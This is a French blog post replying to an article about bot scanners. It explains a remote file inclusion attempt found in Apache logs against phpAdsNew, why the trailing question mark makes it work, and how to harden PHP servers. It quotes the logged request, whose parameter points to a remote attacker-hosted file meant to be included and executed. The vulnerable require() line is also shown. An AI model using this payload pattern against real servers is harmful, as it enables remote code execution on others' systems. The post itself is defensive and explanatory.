Re: Encore les scanners du diable
Ceci est un billet en réponse à
http://www.nexen.net/articles/dossier/17692-encore_les_scanners_du_diable.php
J’ai remarqué pas mal d’URL qui finissent par un point d’interrogation, en plus du séparateur de requête naturel. PHP semble parfaitement capable de se dépatouiller tout seul de cette incongruité syntaxique. Ce qui me chiffonne, c’est que je n’ai pas pu trouver d’explication concluante à cette pratique. Mon intuition est que certains systèmes de filtrages se basent sur “ce qui est après le dernier point d’interrogation”, et non pas “ce qui est après le premier”. Cela a des conséquences dans le résultat, mais je n’ai rien pu trouver d’utile de vraiment utile à tirer de cette piste. Si vous avez une idée, n’hésitez pas à éclairer ma lanterne.
Damien fait référence à ce genre d’entrées que l’on peut parfois retrouver dans les logs d’accès d’Apache:
generationphp.net 208.99.x.x - - [01/Jul/2007:15:11:34 -0400] "GET /phpAdsNew/view.inc.php?phpAds_path=http://www.____.co.uk/Wo0/echo.txt? HTTP/1.1" 404 4942
Pour les fins de la discussion, référons-nous à cette publication de vulnérablité publiée sur Security Focus:
http://www.securityfocus.com/archive/1/archive/1/441716/100/0/threaded
La faille de sécurité PHP qui a tenté d’être exploitée est la suivante:
require ("$phpAds_path/dblib.php");
Si la directive register_globals est activée sur l’installation PHP du serveur, une faille de sécurité importante se présente. Il est en effet possible d’exécuter un script PHP (habituellement un phpshell) sur votre serveur en incluant un fichier distant.
Dans notre exemple, la fonction require() inclura et exécutera en tant que script PHP le fichier suivant:
http://www.____.co.uk/Wo0/echo.txt?/dblib.php
echo.txt peut contenir une application ou un script PHP malveillant. (vous pouvez faire quelques recherches sur phpshell)
Cependant, imaginons que la requête n’est pas contenu de point d’interrogation final. Le fichier suivant aurait donc été inclu:
http://www.____.co.uk/Wo0/echo.txt/dblib.php
Est-ce que l’exploitation et l’inclusion du fichier aurait fonctionné? Fort probablement que non. Le point d’interrogation a donc pour but d’ignorer tout se qui se trouve à la suite de ce dernier, rendant l’exploitation d’un require() ou include() insécure possible.
Les solutions suivantes sont à envisagées:
- Mettre à jour vos applications PHP dès qu’une nouvelle version est disponible car de nombreuses failles de sécurité sont publiées régulièrement!
- Déclarer et affecter une valeur par défaut à toutes vos variables et ce, dans tous vos fichiers.
Dans notre exemple, la variable$phpAds_pathn’avait jamais été déclarée dans le fichierview.inc.php, rendant l’exploitation de la fonctionrequire()possible. - Interdire l’accès direct à vos fichiers PHP si ceux-ci doivent impérativement être inclus pour bien fonctionner.
Prenez en exemple phpBB qui déclare une constante dans le fichier PHP appelant et vérifie si elle est bel et bien déclarée dans les fichiers appelés, rendant l’appel direct d’un fichier impossible:if (!defined('IN_PHPBB')) { exit; }
- Désactiver la directive PHP
register_globals - Désactiver la directive PHP
allow_url_include(PHP >= PHP 5.2) - Désactiver les fonctions d’exécution de PHP:
exec,system,shell, etc.
Rare sont les applications PHP utilisant ces fonctions. Ne courrez donc pas de risque inutile. - Installer mod_security pour Apache
De plus, contrairement aux conclusions et recommendations apportées par l’article de Damien, la version de PHP installée, les noms donnés à vos fichiers ou les noms des variables passées en paramètres importent peu. Ces recommendations ne vous donneront qu’un faux sentiement se sécurité.
En effet, les bots “scanner” sont exécutés à partir de serveurs compromis et ont pour but de trouver et exploiter des failles de sécurité connues dans les applications PHP populaires. Cependant, si vous suivez les recommendations proposées précédement, donc en mettant vos applications PHP à jour et en codant intelligement, le risque de voir votre serveur compromis est très faible, voir nul.
Si vous lisez l’anglais, vous pouvez consulter cet article publiée sur Wikipedia qui vous expliquera en détails la nature de la faille de sécurité exploitée:
http://en.wikipedia.org/wiki/Remote_File_Inclusion
Soyez donc vigilant et mettez vos applications PHP à jour régulièrement!